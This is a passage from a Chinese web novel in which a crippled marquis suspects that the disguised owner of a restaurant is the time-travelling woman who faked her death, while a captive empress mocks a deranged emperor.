小厮丝毫不迟疑,“好嘞,客官您先吃着,咱们这粥啊,就讲究一个小火慢熬”。 晏无咎:“嗯。” 一旁的林木只恨不得把自己的头埋进这碗粥里,红枣桂圆糯米粥,那不是夏姑娘经常给侯爷做的粥吗? 侯爷这是来这睹物思人来了?粥这种东西,味道能差多大。 唉!可怜的侯爷啊,还有可怜的夏姑娘。 林木寻思,或许自己该给自家侯爷找个算命先生瞧瞧。 晏无咎一个冷眼:“这粥那么好喝?本侯看你头都快埋进去了”。 林木傻笑:“嘿嘿嘿,好喝。” 晏无咎有开始吃菜,只是心境却与方才丝毫都不一样了,现在大堂里嘈杂的说话声在他耳里已经恍若无物,他现在的整个脑海里都是那个坏女人的模样。 晏无咎的整个心脏都在发麻,他急迫的想喝红枣桂圆糯米粥。 第一百零六章见面 晏无咎等的难安,偏偏这粥熬的又极其慢。 桌上的菜上了一盘又一盘,终于,那碗红枣桂圆糯米粥可算是被盛上来了。 晏无咎等的花都谢了。 小厮满脸笑眯眯,“两位客官,您们的红枣桂圆糯米粥好嘞!”。 晏无咎双眸紧紧盯着桌上的碗粥,似乎是想透过这碗粥看到些什么。 他眨了眨眼,淡淡的拿起勺子开始品尝这碗红枣糯米桂圆粥。 勺子似乎是没有拿稳,里面的粥水有些许又晃荡出来,晏无咎目光垂落,薄唇抿住汤匙。 嘶! 他发出一声几不可察的痛呼,进入口中的粥水在嘴里打了几个翻滚,才终于被他咽进肚子里。 晏无咎愣了愣。 好像有点……,算了,应该是太烫了,所以没有尝出味来。 他又是狠狠的品尝了几口,才失望的放下勺子。 不像,一点都不像,差了味道,差了甜味香味,他眸光又落到那碗粥上,也就是长的像了点,名字一样罢了。 而一旁的林木则是大快朵颐,“哇塞,真好喝,这粥真好喝啊”。 “就是比夏姑娘做的还差了点。” 晏无咎眸光顿住,眼底划过不可置信,他声音冷沉带着质问,“你喝过她做的粥?”。 咕咚。 林木僵住,他咽下最后一口粥,低头看着碗底。 ……他是不是说错话了,他这张死嘴哎。 晏无咎不厌其烦的问了第二次,“你喝过她做的粥?”。 林木抬起头,满上满是憨厚敦实的笑容,“嘿嘿嘿,喝过啊”。 晏无咎周身气息顿时变得愈发阴沉。 林木又傻笑着开口,“侯爷,你是不知道夏姑娘为了给你做上一碗完美的红枣桂圆糯米粥,那可真是耗费了不少心血啊!”。 “夏姑娘整日钻到那厨房,做好了粥就叫我们尝,就问我们的意见,一直到了我们一致都说非常好吃,简直完美的时候,夏姑娘才满意,才愿意把粥端到你的面前。” “唉!真是可惜了夏姑娘这样好的人啊。” 晏无咎眨巴眨巴眼,整个人都僵在那儿,“她…她她…她……”。 她了半天,晏无咎都没她出个所以然来。 林木使劲点头,“对!侯爷,夏姑娘为了个做出你喜欢吃的粥,付出了超级多,所以说,夏姑娘她一定是超级喜欢你!”。 晏无咎明明没喝酒,此时却感觉自己脑子乱乱的,晕晕的,他呆滞的张了张嘴。 “她…她超级喜欢我?” 林木狠狠点头,“对!夏姑娘她超级喜欢侯爷你!”。 林木内心擦了一把汗,侯爷也没喝酒啊,怎么看着就跟醉了一样,夏姑娘都**三年了,还在这睹物思人呢,唉! 只能先哄着了。 晏无咎不知道想到了什么,原本恍惚的面容突然之间又变得狠厉,“放屁!她最不喜欢的就是我”。 林木:“……” 好想离开哦。 专心搞事业不好吗?侯爷怎么就整日沉迷于情情爱爱呢? 这还是他认识的侯爷吗? 林木内心有一点点的绝望,他又无奈的附和到,“对对对,侯爷您说的都对”。 晏无咎又蹙起眉头,“你说什么?她真的最不喜欢我?”。 林木:“……” 真难伺候。 林木:“不不不,我喝醉了,我都是瞎说的,侯爷您别当真。” 晏无咎淡淡嗯了一声,没在说话,只是一味的把碗中的粥喝完,喝得干干净净,就差舔了。 林木:“……” 口是心非。 两人互相不再搭理,桌上的菜也很快被吃的精光。 林木暗自嘀咕,“这些吃的有一丢丢的熟悉”。 想不起来。 “林掌柜!” 夏清棠刚准备要下楼,就听到楼下小厮的喊叫声。 她探头看去,眸光却瞬间锁定到楼下那抹熟悉的背影,夏清棠瞳孔骤缩,下意识就去躲闪,心里头也是慌得很,砰砰直跳。 嘛耶,那是晏无咎吗?咋还来这四海楼晃悠了,听说不是整日去那满香楼潇洒吗? “林掌柜?” 小厮挠挠头,林掌柜怎么一看到他就躲啊,是因为他今日没洗脸吗? 夏清棠背靠在柱子上,缓了缓心声,她怕什么,她在晏无咎那儿都是个**了,而且,她现在的样子可和之前一点都不一样,顶多是身形一样吧。 不过,晏无咎那个笨鸟肯定看不出来。 这样想着,夏清棠整个人都平静下来,呵呵呵呵,她怂什么,她怕什么,该怕的明明是晏无咎。
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夏清棠轻叹一口气,也下了楼。 今日她们这四海楼真是满满当当的,可,还是不够好,要更好,名声要响彻整个京城,最好响彻整个地球。 夏清棠咧嘴一笑,摇了摇头,“开个玩笑”。 她现在每天都给自己洗脑,自己叫林夏,自己是四海楼的老板,千万不能露出马脚。 夏清棠站在四海楼楼外,看着这条繁华的街道人来人往,内心竟升起一股怅惘之情。 她emo了。 “小棠棠~” 夏清棠:“……” “你又干嘛?” 脑海中小龙人仰天长笑两声,“哈哈!我又饿了”。 说的理直气壮,配得感十分的高。 夏清棠无奈,“你是猪还是龙”。 小龙人:“我是比蠢猪厉害无数倍的神武龙战士,自然也就吃的多了些。” 夏清棠:“……哦。” …… 第一百零七章厌恶。 夏清棠自从那日见到晏无咎之后,一连好几天,都睡得极其不安稳。 仿佛又回到在镇北候府的那段时日,日日做噩梦。 就连梦中的内容也是极其相似,不是晏无咎,就是江汐汐和辜战,甚至还有深宫中被关着的皇后。 夏清棠今天又是半夜惊醒,她猛地坐起身子,整张脸都被冷汗浸湿,心脏还在剧烈跳动,仿佛刚才梦中的大逃亡是她真实经历过的事情一样。 “我嘞个乖乖,我真是得去找个算命先生看看了,咋天天做梦。” “科学解释不了的事儿,就是要去找玄学。” 夏清棠起身走到桌子边,给自己到了一杯凉浓茶。 一口下去,瞬间感觉神清气爽,真是爽极了。 “睡不着了。” 夏清棠直接走到院子中开始练功。 清透的脸上满是坚韧的神采。 …… 晏无咎那日从四海楼回来后,也是一连做了好久的噩梦。 连他这个曾经叱咤战场的杀神都被吓到了,可想而知,这噩梦该有多恐怖。 晏无咎猛地惊醒,坐起身子,呆呆的坐在床边。 “怎么又梦到那个坏女人了。” “明明好久都没梦到她了,之前怎么求,做梦都梦不到,现在怎么一直入梦。” 晏无咎脑中有了个荒唐又荒谬的想法。 他能听到夏清棠的心声,为什么他能听到夏清棠的心声,其他人又是否能听到。 夏清棠身中剧毒吃他豆腐就能缓解疼痛,这又是为什么。 难道仅仅就是因为他口中所说的那什么天生一对论吗? 晏无咎被自己逗笑了。 很显然不是,那他和夏清棠之间到底是有什么联系,为什么他能听到她的心声,却听不到别人的心声。 夏清棠是穿越者,三年前,她拿走文书,伪造火灾,甚至还不知道从哪弄了一具被毒死的尸体来糊弄他,千方百计的逃出侯府。 会不会……会不会其实她早就已经离开了这里,回到了自己的现代世界。 晏无咎眼前冒出重影,他真是个蠢货。 都三年了,她怎么可能还会回来,那些遍布各地的势力都传不回个声响,他这个废人又能干什么。 恐怕就算夏清棠现在出现在自己面前,他也只能干瞪着眼,眼睁睁看着她离开。 漆黑的房间内寂静了许久,隐隐好像传出啜泣声。 第二日。 晏无咎肿着一双核桃眼又出现了。 林木和安瑾都被狠狠的吓了一跳。 除了三年前侯爷听到夏姑娘死了的消息时哭成这样,之后还真没见过侯爷眼睛肿成过这样。 安瑾手撑着下巴,“老晏,昨晚是做啥梦了,眼睛能肿成个猴屁股”。 晏无咎眼皮抬不动,也懒得理睬安瑾的调侃,“嗯,再给我调些助眠的药”。 安瑾:“老晏,你最近有没有看我买给你的话本子。” 一说这话,晏无咎就想到那些话本子里的内容,他一阵恶寒,退开安瑾搭在自己肩膀上的胳膊。 晏无咎一脸嫌弃和忌惮,“想不到你还有那种癖好。”。 安瑾潇洒的挥挥手,“男人嘛?谁不是三心二意的,没办法,心太大了”。 晏无咎更加嫌恶,“滚!离我远点”。 安瑾迷惑了,“我还要给你治腿呢,我劝你最好对我客气点”。 晏无咎:“宁可死都不屈服,另外,萧策那边我也得加强点守卫。” 他又像是感叹一样,一边看着安瑾一边摇着头,有一种安瑾已经无药可救的感觉。 “真没想到,你居然是那种人?男女通吃吗?” 晏无咎回忆着话本子中的言语。 安瑾更加迷惑了,他咋了,不是他咋了。 安瑾:“不是,我咋了,我是哪种人,还有,男女通吃是啥意思,我不吃人啊。” 晏无咎皱眉,“林木,把屋内那几本话本子拿出来”。 林木将书呈到晏无咎面前,内心也是惊涛骇浪,无他,全都是因为这几个话本子的书名太过猎奇。 《冷酷候爷不懂情,自卑马夫强制爱》《傲娇太子爷卑微求爱阴湿俏书生》,还有还有《王爷……》。 林木的三观被狠狠重塑他是听说过京中不少人都有这龙阳之好,只是,万万没想到,这种人竟然就在自己身边! 林木大骇!睁大眼睛还想看看剩下几本书的书名,却看到那些话本子都被侯爷甩到安大夫怀里。 晏无咎冷着一张脸,“林木,你先退下吧”。 林木依依不舍的离开了。 晏无咎盯着安瑾,“你给我这种话本子,是觉得我喜欢男人,还是觉得男人会喜欢我”。 安瑾也蒙圈了,怎么是这种龙阳之好的话本子,他明明让送的是男女的啊。 安瑾暗道,看来自己这是被当成变态了。 安瑾一脸受伤的表情,“哎!老晏,你怎么能这样想我呢,咱俩都认识多少年了,我喜欢啥你还不知道吗?”。 “这些话本子纯粹就是因为那店家搞错了,真是烦的和呐!” 晏无咎:“以后少看点这种乱七八糟的书,别真把自己给看成龙阳之好了。” “那到时候我们这男丁旺盛的侯府,可就不欢迎你了。” 安瑾知道晏无咎是在跟自己开玩笑,“哈哈哈!老晏你就放心吧,就算我真的被带偏了,我也绝对看不上你,少自作多情啊”。 “更何况,我也嫌这种东西恶心。” 安瑾声音里带上狠意,他随手就将手中的几本书扔到地上,就抬脚狠狠碾在上面。 幼时不堪的记忆涌上脑海,安瑾一时间说不出任何话来。 晏无咎:“萧策今日如何了?” 第一百零八章皇上皇后。 一说到萧策,安瑾就愁啊。 “还是啥也记不起来,现在我俩啊,真的是比陌生人还陌生。” “我真是服了,我现在甚至一听到萧策说话,就想拳头招呼!” 安瑾一番话说的那叫一个咬牙切齿。 晏无咎嘴角轻勾,眼底难得染上笑意,“行了,他现在脑子不好使,别欺负他”。 安瑾收起吊儿郎当的混不吝模样,看着晏无咎,“行了,赶紧来给你治腿吧”。 安瑾推着晏无咎朝自己的院子走去。 两人之间不再说话。 …… 朔曜王朝皇宫内。 许久未见的景明帝现在周身气势恐怖如斯,像有无数恶鬼缠在身上。 “不知道晏无咎现在被养的怎么样了。” “呵,朕真是万万没想到啊,那个泥腿子晏无咎竟然还是个那么好的祭品。” 偌大的御书房只有景明帝一人,看着就想是在自说自话,像是在发疯。 景明帝又独自一个人嗨了好一会儿,才抬了抬高贵的龙手,张开那高贵的嘴巴子。 张嘴说出的话是明显有些虚浮的声音,“来人!”。 景明帝乘着圣驾去了皇后宫里。 一靠近皇后宫中又是一番截然不同的景象,整个宫都清风明朗,看着就让人心旷神怡。 景明一感受到这种截然不同的气氛,脸色瞬间就变得阴沉,又是这个死样子。 为什么不管他搞了多少鬼,这里永远都是这副模样。 再往里面走,就看到密不透风的守卫,甚至在看不到的暗处,也不知道安置了多少暗卫。 景明帝这才心情好了点,就算是神仙,来了这也逃不出去。 “朕的皇后,朕来喽~” 景明帝威严的面庞此刻变得十分猥琐不堪。 屋内姜以南也就是皇后娘娘身着一身素到极致的白衣,长发也未曾用簪子或饰品梳起,只是随意的披散着。 整个人看着也是满脸病态。 现在又听到那烦人又恶心的男声,更是直接想呕出来。 她淡淡瞥向一旁,又自言自语的说到,“点上香”。 景明帝:“皇后~南南?你睡着了吗?你睡着喽,那我就进来了哦?” 询问的语气,可是干出来的事儿却是不容置噱,景明帝直接大摇大摆的退开厚重的大门走进去。 一走进去,就看到宽大床榻边上的白衣清瘦女子。 景明帝愣住,真是怪哉,明明都是四十来岁的人,为什么这个女人看着就如此少女如此美丽,岁月在她身上到底留下了什么痕迹。 景明帝暗自嘀咕,这是天生丽质,还是有什么秘术啊。 “皇后?皇后你怎么在地上睡着,唉!真是的,朕稍微一离开你一会儿,你就还是作践自己的身体,真是叫朕好生心疼呐。” 景明帝嘴里絮絮叨叨的走近姜以南。 他伸出两只爪子朝着清瘦女人的身上摸去,姜以南睁开双眸,眸中寒光冷冽,“你在干嘛?”。 对待景明帝,她不卑不亢,甚至可以说是凶神恶煞。 景明帝竟被震慑住,讪讪的收回两只魔爪,“皇后,朕只是想把你抱到床榻上,这地上太凉,若是你生病了,朕这小心脏恐怕也要跟着病了。”。 姜以南无语的翻了个白眼,可是景明帝好像根本没看到,丝毫不在意,依旧跟个疯子一样在展示自己对眼前这位皇后娘娘的深沉的爱意。 景明帝说着说着就闭上了双眼,痴迷的耸着鼻尖往姜以南跟前凑,不知道是像什么鬼东西。 姜以南一时说不上来,反正这么多年了,每次这鬼东西一来她这儿都是这副蠢货模样,好在,她还能有法子防住他。 姜以南清了清嗓子,又捏着嗓子说话,“皇上~我看你是这两天太忙了,所以困了,不如你就先睡一觉吧”。 景明帝依旧是痴迷的闭着双眼,闻言,也是很听话的嗯了声。 姜以南竖起一根手指头轻轻一推。 啪! 景明帝砰的倒地就是呼呼大睡。 “蠢货。” 姜以南嘲讽的斜睨了地上的蠢男的一眼,又利索的起身离得景明帝远远的。 坐到桌前开始有一搭没一搭的吃糕点。 真是烦人,都在这死皇宫里呆了这么多年了,靠靠靠!这个朔景明到底用了什么邪术,居然能把她关到这种程度。 姜以南清丽的脸庞上面无表情,又好似有一股淡淡的忧愁萦绕在上,叫人看着就心生怜惜。 她的女儿和儿子啊,她想他们了。 还有她夫君。 姜以南眼眶酸涩,好想哭,服了,都四十好几的人了,怎么还这么矫情呢。 姜以南目光又落到躺的四仰八叉的朔景明身上,心中顿时升起一股怒火,她踱步走到朔景明身边,抬起脚狠狠踹了他几下,又狠狠把脚碾在他的脸上。 “踢死你!” “臭死你!” “去死吧你!” “……” “唉!没意思,真没意思。” 估摸着朔景明要醒了的时间,姜以南把他拖到床榻上,期间又狠狠的摔了他几下。 看着朔景明毫无反抗之力,在自己身下任由自己欺负的模样,姜以南心中别说有多畅快了。 “傻缺。” “皇上~你醒啦?” 景明帝揉着头侧醒来,身上是阵阵痛意,他身上怎么会这么疼,朔景明看向面前的女人。 不可置信的问,“你打我了?”。 姜以南怔住,这男的变聪明了?是吃了聪明药了? 姜以南:“皇上~你说什么呢?可别跟我开玩笑了,我怎么可能打你呢?你看看我这细胳膊细腿,走五步喘三下的样子,哎呦,真是的。” 景明帝低垂着双眸,没说话。 姜以南晃了晃朔景明的胳膊,“哎呦,皇上,听人家说吗?你看看你,总是喜欢自己一个人在那儿乱猜,刚才不知道你是犯了什么病,突然就砰的倒地呼呼大睡,我想叫太医,可是我这里面连个人都没有。”。 “我又是个走五步喘三下,走六步就晕倒的脆弱身子,就只能想办法把皇上你拖到床上了,可是,皇上你又太重了,我拖不动,一不小心就摔了你几下。” “说来,也都是我不好。” 景明帝听完了姜以南的长篇大论,觉得非常合理,他的皇后,简直是太爱他了。 景明帝:“皇后,朕就知道,你心里还是有我的。” 姜以南微笑:“当然了,皇上” 有你个屁,当然个屁。 第一百零九章求着当狗。 朔景明终于滚走了。 姜以南将床上的东西通通换了一遍,又尽数将换下来的朔景明躺过的脏床单脏被子扔到门外。 反正会有人来收拾,她才不要躺朔景明那个晦气东西躺过的。 又是想女儿和儿子的一天。 …… 夏清棠今日又出来考察市场连带着打广告了。 她们的四海楼一定要在每一个方面都把满香楼给比下去,她们永顺商号,一定要尽快成为皇商,走进皇宫。 江汐汐跟在夏清棠身侧,两人是不是搭一句话。 夏清棠冷不丁问了一个问题。 “你……我…她,你见过她吗?” 江汐汐一时没反应过来,“谁?”。 夏清棠抿了抿唇:“皇后。” 江汐汐恍然大悟,“噢噢,你是说你娘吧”。 夏清棠:“……嗯。” 江汐汐:“皇后娘娘人很好很活泼,你和她很像,经常都会犯点小神经,都很可爱很有趣。” 夏清棠愣住,她没想到会是这样的回答,听着……听着怪有趣的,不是吗? 活泼,小神经,可爱,有趣。 她为数不多的儿时记忆力,妈妈好像也是这副模样,是很爱笑的一个人,也很漂亮。 江汐汐:“夏清棠,你一点印象都没有吗?” 夏清棠:“有一点点吧,而且,在外面你注意我叫林夏。” 江汐汐:“……嘿嘿。” “林夏,你吃糖葫芦吗?看着好好吃哦。” 夏清棠:“吃。” 两人就在京城这条最繁华的街道上逛着,看着好像忘记自己本来出来是来干啥的。 两人足足吃了一整条街。 我嘞个乖乖,真是好肚量啊。 江汐汐撑得快走不动路了,“夏…林夏,都怪你,这么能吃,连带着我也这么能吃,我都胖了”。 夏清棠乐呵的笑了两声,“哈哈哈,跟我在一起,你可真是享福了,胖点好啊,你看你长胖一点看着多可爱,多有福气”。 夏清棠感觉自己有点醉,她眼中怀疑自己是不是晕碳了。 两人在街上嘻嘻哈哈,丝毫不知道不远处的满香楼里,此刻正有几道人影靠在窗户边,双眸紧紧盯着她们。 “哈哈哈,林夏,你也胖了,你肚子好圆。” 夏清棠:“喂!江汐汐,我们去王大年菜馆吧。” 江汐汐:“好啊。” 两人又乐呵着往王大娘菜馆走去,看她们的背影,就像是两个喝多了的好姐妹。 远处满香楼某处包间内,晏无咎满头大汗,脸上还带着刚才尝试着下轮椅时双腿处传来的痛意。 能感觉到痛意了,这是好事儿。 今日晏无咎的脸色好了许多,是发自内心的真实的好。 是以,在他刚溜到窗户边要吹冷风时,看到那道再熟悉不过的背影,竟傻缺的想要立刻跳下楼去的追赶。 然而,内心燃起的希望却在看到那人转过身来露出的脸颊时戛然而灭。 完全不一样,长的完全不一样。 晏无咎失望的攥紧拳头,自暴自弃的狠狠夯砸自己的双腿。 “废物!” “真是废物一个,当时被围殴时怎么就没被打死呢!” 晏无咎双眸嘴里在咒骂自己,双眸却还是紧紧盯着那道愈来愈远的背影,突然,他瞳孔震缩,眸光触及到那道身影身侧的另外的一道身影。 那是…… 江汐汐。 三年前,给夏清棠提供药材,甚至主动背着价值万两黄金的药材来到他们府上,为夏清棠提供帮助。 晏无咎脑中灵光乍现。 三年前,夏清棠离开,他找不到,也试着找过江汐汐和辜战,却同样都是杳无音信,而如今,三年过去,他怎么就刚刚好能看到和夏清棠身影一样的人,并且还是两次。 最关键的是,这次,旁边居然还有江汐汐。 晏无咎眼底重新燃起希望,声音有点颤抖,“来人,追上那两人”。 “悄悄跟着,不要声张,有危险就保护,没保护就当老鼠。” 江汐汐和夏清棠还没走远,晏无咎一指,几个暗卫立马领会,领了命就悄无声息的离开,跟着江汐汐和夏清棠。 晏无咎摩挲着手中茶杯,眼中思绪万千,他的心底好像已经有了答案。 易容术,江湖上也有流传,既然有流传,那就说明绝非虚言,那道身影太像夏清棠了,简直可以说是一模一样。 晏无咎压制住心底的雀跃,暗暗咬牙,又开始在房间里跌了爬,爬了起,起了再跌。 如此循环往复,却仍旧是周而复始,看着一点效果都没有。 其中到底有几分效果,其实只有晏无咎自己知道。 时间很快又来到晚上。 晏无咎轮椅停在床边,心底竟升起一种对睡觉的恐惧之情。 做噩梦实在是折磨人,关键是梦中还都是夏清棠那个坏女人,大呆鹅。 晏无咎就这样坐在轮椅上,嘴上说着今晚今晚绝对不要梦到夏清棠那个冷酷无情的坏女人,偏偏眼皮打架又打得厉害。 今日这困意来的实在是太汹涌,没有再细想,晏无咎还是快准狠的爬上床,狠狠的睡了一觉。 毫无意外的,晏无咎今晚又做梦了,梦中依旧是夏清棠,那个冷酷无情的坏女人。 在梦中,夏清棠竟化身为一个人首蛇身的奇异生物,晏无咎还没等惊讶,一低下头,就看到自己居然是个人首虎身的怪物,他的双唇不受控的张张合合。 “夏清棠,我求求你了,你就跟我在一起吧,我真的好喜欢好喜欢你。” 晏无咎在内心嘶吼,这不是他说的啊,他怎么可能对着夏清棠这个坏女人说出什么愚蠢又招笑的话。 梦中的晏无咎:“夏清棠,我求求你了,只要你跟我在一起,我当你的狗都很开心。” 梦中人首蛇身的夏清棠冷冷一笑,“呵,你这个人首虎身的怪物,根本就配不上我!”。 “就算你求着当我的狗,我也不会让你跟在我身边!” 第一百一十章能走多远。 梦中的人首虎身的晏无咎低下了自己高贵的头颅,浑身金灿灿的毛发好似也都挂上灰败的颜色。 “棠棠,就算我给你当小狗,你都不愿意要我吗?” 晏无咎在旁边呆愣的看着面前这诡异的一幕,惊的一点话都说不出来。 梦里的他都心甘情愿的要当臭狗了,夏清棠都不愿意接纳他吗? 人首蛇身的夏清棠现在极其不耐烦,只见她蹙起眉头,冰冷的眼神扫过依旧低垂头不知道在想什么的晏无咎,眸底划过一丝厌恶。 下一秒,巨无霸大的蛇尾就狠狠的甩向人首虎身的晏无咎,丝毫没有手下留情。 砰! 梦中的晏无咎被狠狠拍在地上,整个地面都为之一颤。 噗! 一口浓血被喷出。 梦中的晏无咎眨巴着水汪汪的大眼睛可怜兮兮的看向夏清棠,都这个时候了,竟然还企图在那个冷酷无情的坏女人身上祈求一丝怜悯。 夏清棠嘴角勾起一抹冷笑,温软的唇却吐出冰冷又恶毒的话。 “滚,我永远都不可能会喜欢上你。” 晏无咎猛然惊醒,初春微凉的天气,他却出了满身的汗,就连脸上也流的都是,他抹了一把脸,被汗水模糊的视线重新清明起来。 他看了看周围昏暗的环境和自己依旧不能动弹的双腿,不是虎身,那果然是一场梦。 果然……对他那么狠,怎么可能是真的夏清棠。 他要是真的说要给夏清棠当狗,以那女人的性子,说不定还会认真思考一下,怎么可能会像梦里一样,那么狠,那么冰冷又绝情。 想完这些,晏无咎脸上罕见的露出茫然的情绪。 他在怀疑自己。 晏无咎就这样在床上枯坐了后半夜,直到窗外天色渐渐亮起来。 晏无咎才恍然回神,那双眼睛又是肿成核桃的模样,眼下也是一片乌青,有力的双臂支撑着他坐上轮椅,晏无咎推开房门,正巧就对上林木的目光。 林木看到侯爷这副模样,心底已经不再惊讶,其实侯爷这副模样他见过好多次了。 对此,林木由最初的不理解,到现在的,古人云的牡丹花下死做鬼也风流,要美人不要江山,都是有深刻依据的。 林木几不可察的叹了一口气,走上前要推晏无咎的轮椅,“侯爷,去找安大夫吗?”。 晏无咎嗓音有些暗哑,“嗯”。 两人朝安瑾院子的方向走去。 刚一走到院子口,就看到正在院落中蹲着安瑾,那是专门空出来的一片土地,安瑾在上面摆弄泥土,大概是又要开始研究自己的药材种植业了。 晏无咎挑眉:“安神医,今年有几分把握能种活那些药材。” 安瑾听到声音,头也未抬,依旧低着头在做着手中事儿,“老晏,看来你今天心情不错啊,都有心情调侃我了”。 安瑾终于弄完手里的事儿,他慢悠悠的起身,回头去看身后的两人,看清眼前人的模样,饶是见怪了晏无咎这副模样的安瑾,此刻内心还是小小的被震惊了一下。 安瑾俯下身,双眸紧紧盯着晏无咎的脸。 “喂,老晏,你这有点吓人了吧。” “我嘞个乖乖,你看看这眼睛,你再看看你这黑眼圈。” “我去,真的是丑的一批啊,你对你桀骜不驯的帅气脸庞做了什么?!” “你这样不珍惜自己帅气的脸蛋儿,还怎么夺得心上人的芳心!” “你绝对是没有看我给你的《夺心一百八十六计》!” 安瑾一个没憋住,对着晏无咎持续输出了老久,晏无咎和林木在那儿根本一句话都插不上。 安瑾终于闭上了那张迷人的小嘴巴。 晏无咎闭了闭眼,“你说话注意点”。 安瑾疑惑:“什么?”。 晏无咎:“唾沫喷我脸上了。” 安瑾:“……” “嘿嘿嘿,老晏,你不会介意的,对吧。” 晏无咎冷冷瞥了他一眼,安瑾展示出最灿烂的笑容。 安瑾又开始了,“话说回来,你到底有没有看我给你的那本儿书啊”。 晏无咎:“没看。” 安瑾:“你居然没看!怪不得呢,我告诉你,你如果不看的话,就凭你现在这副模样,注定变成孤家寡人一个。” 晏无咎:“你看过那本书吗?” 安瑾:“看过啊,我可是精读了不下一百遍。” 晏无咎:“那你不照样还是孤寡吗?” 安瑾:“不是…我…你……哎哟我去……” “我着还不都是因为太忙了吗?” “想当初,小爷我身后那也是有万千少女追捧啊,算了,好汉不提当年勇。” 晏无咎:“哦。” 安瑾又哈哈笑了两声,推着晏无咎进了屋子,走进暗室。 开始今日的腿部治疗。 暗室内烛火通明,墙上陈列着排排器具,还摆放着一个超级大的铜镜。 以往晏无咎进来之后,都是闭上双眸假寐,可是,今天,他的目光却总是有意无意的落在那面铜镜上。 看到镜中自己的模样,晏无咎走神了。 夏清棠离开了三年,那道身影会是她吗,她都能从她的时代穿越到这里,换张脸,又有什么不可能的。 她看到他,会不会觉得他不仅是个残废,现在还这么丑,然后像梦中那样,让他滚,说他给她做狗都不配。 实际上,晏无咎即使双眼肿了,即使眼下乌青,也依旧帅气,少了之前的桀骜不驯,添了几分我见犹怜的可怜意味。 时间来到正午,今日治腿时间已经结束。 晏无咎刚回到书房,就有手下传回情报。 手下:“主子,据传回的消息可知,那两位其中一位是四海楼的林掌柜,另一位是那林掌柜的表姐,在四海楼帮忙。” 晏无咎:“四海楼?” 他对四海楼有印象,毕竟刚去那吃了饭。 手下恭敬回应,“是的,主子,这四海楼背后的商号是最近才来到京城的永顺商号” “据消息,这四海楼这么多年来走南闯北,积累了不少财富,做生意是一把好手。” 晏无咎来了兴趣,“这么多年走南闯北?多少年”。 手下:“永顺商号之前一直在江南地带做生意,直到三年前才陆陆续续开始走南闯北,去往世界各地做生意。” 晏无咎眸中泛起冷光,“三年,能走多远,还能连带着做生意,呵”。 手下惶恐:“属下不知。” 晏无咎:“之前有听说过这什么永顺商号的消息吗?” 手下惊恐:“没有……并未注意过。” 晏无咎不再提问,挥了挥手,让他出去。 “林木。” 第一百一十一章这菜谁做的? “林木。” 低沉暗哑的男声传到屋外,林木瞬间闪身进入。 林木:“侯爷,请吩咐!” 晏无咎:“备马车,去四海楼。” 林木疑惑,林木听话,“属下遵命!”。 车轮滚滚向前,晏无咎坐在马车里,突然意识到一件很重要的事情,那林掌柜若真的是她,看到他,肯定会躲的远远的。 “停车。” 林木示意车夫停下,又转身凑近帘子询问,“侯爷,是有什么事需要属下去做”。 晏无咎丝毫不带停顿的,“去成衣铺”。 林木顿住,心底有一个大胆的猜测,却又不敢多问,他赶紧示意车夫往成衣铺赶。 林木这一路上都很恍惚,要是侯爷脑羞成怒,把他给杀了怎么办。 毕竟尿裤子这种事儿,实在是太丢脸了,更何况侯爷还是那样一个要强的男人。 呜呜呜……他林木好命苦哦。 “林木。” 林木猛然回神,听到晏无咎带着冷意的声音,他更加确信了自己的想法,啊啊啊啊啊啊!侯爷不会真的杀了他灭口吧! “林木!” 晏无咎泛着冷意的声音此刻又带上怒意,“耳朵不想要了,找个时间砍了”。 林木唰的回神,像个傻子一样,居然直愣愣就往马车里钻,“侯爷,您吩咐,不对不对,侯爷,您放心,我保证什么都没看到!”。 林木惊恐的捂住双眼。 晏无咎皱眉,“你抽疯了?睁开你的眼睛看着我,你到底是什么意思”。 林木捂着眼睛,“侯爷,我保证没什么意思。”。 晏无咎忍无可忍,一掌狠狠拍在林木头上,“睁、眼!”。 “睁开你的狗眼!” 林木承受不住那股极具压迫性的目光,终于睁开自己的眼睛,他告诉自己,不要乱看不要乱看。 晏无咎:“去里面给我买身普通衣裳,还有面罩。” 林木眼神飘忽,目光一不小心就在晏无咎腰腹处飘忽了几眼。 晏无咎:“你耳朵死了?你在看什么。” 晏无咎双眸微眯,察觉到不对劲,顺着林木的视线,眸光也落到自己的腰腹处,联想到方才林木异常的行为,晏无咎脑中有了一个不好的想法。 这个蠢东西,不会以为他尿裤子了吧。 晏无咎脸上划下黑线,后槽牙也咬的嘎嘣响。 “林木!睁开你的狗眼好好看看,没事别像个蠢东西一样乱想!” “脑子不想要了就砍了。” 林木也看清了晏无咎的裤裆处确实是干的。 糟了。 这是他脑中唯一的想法。 他抱着头就钻出马车,“侯爷,奴才错了,奴才现在就去给你拿东西”。 林木双腿伦的就要冒出火星儿。 马车内的晏无咎轻叹了口气,他都废物成这个样子了? 甚至在林木的眼里,他是个管不了自己下半身的废物。 晏无咎彻底瘫靠在椅背上,长睫低垂,周身萦绕着的都是烦躁颓废的情绪。 “去他的!” 马车内发出一声骂声后,就安静了。 林木很快带着一件衣裳和面罩回来,小心翼翼的递进去。 又小心翼翼的马车外询问,“侯爷,要不要小的进去帮帮你”。 正在换衣裳的晏无咎手下动作一顿,他倒是忘了还有这么个蠢东西了。 “你也去换一身衣裳,尤其是把你那张脸遮住,若是叫人认出来,本侯第一个把你的脸皮扒下来。” 林木惊恐,又一溜烟儿的跑进那家成衣铺。 换了一身装扮的林木重新做回马车,心底庆幸,还好今天那辆侯府专用马车坏了,准备的是辆普通马车。 林木谄媚道,“嘿嘿,侯爷,您放心吧,咱们现在不仅装扮变了,样子被遮住了,就连马车都不一样,保证谁都认不出来”。 马车内传出晏无咎莫得感情的声音,“要是认出来,回去就活扒了你的皮”。 林木:“……” 侯爷就是喜欢吓唬人。 哈哈哈。 …… 车轮咕噜噜,很快咕噜到四海楼。 晏无咎看了看这日头,还不迟,吃个正午饭很合理。 “两位客官,咱们里面儿请~” “请问,是在包间还是大堂?” 晏无咎:“大堂。” 小厮:“客官有品位,这大堂热闹啊,有烟火气,舒坦安稳,咱们老百姓不就图个这嘛。” 小厮看到晏无咎和林木,心底也是矛盾的很,你说是有钱人吧,偏偏穿的又粗糙,你说是普通老百姓吧,偏偏这周身气质看着实在是高贵,这屁股下坐着的,看着好像还是什么轮椅。 脸上还带着面罩,啧啧啧……不懂。 他这个见人说人话,见鬼说鬼话的神话小厮,一时间,竟然都被难住。 小厮刚安顿好两人,立刻就有人拿着菜单来服务。 晏无咎点的菜和上次大差不差,只是没再点任何粥水。 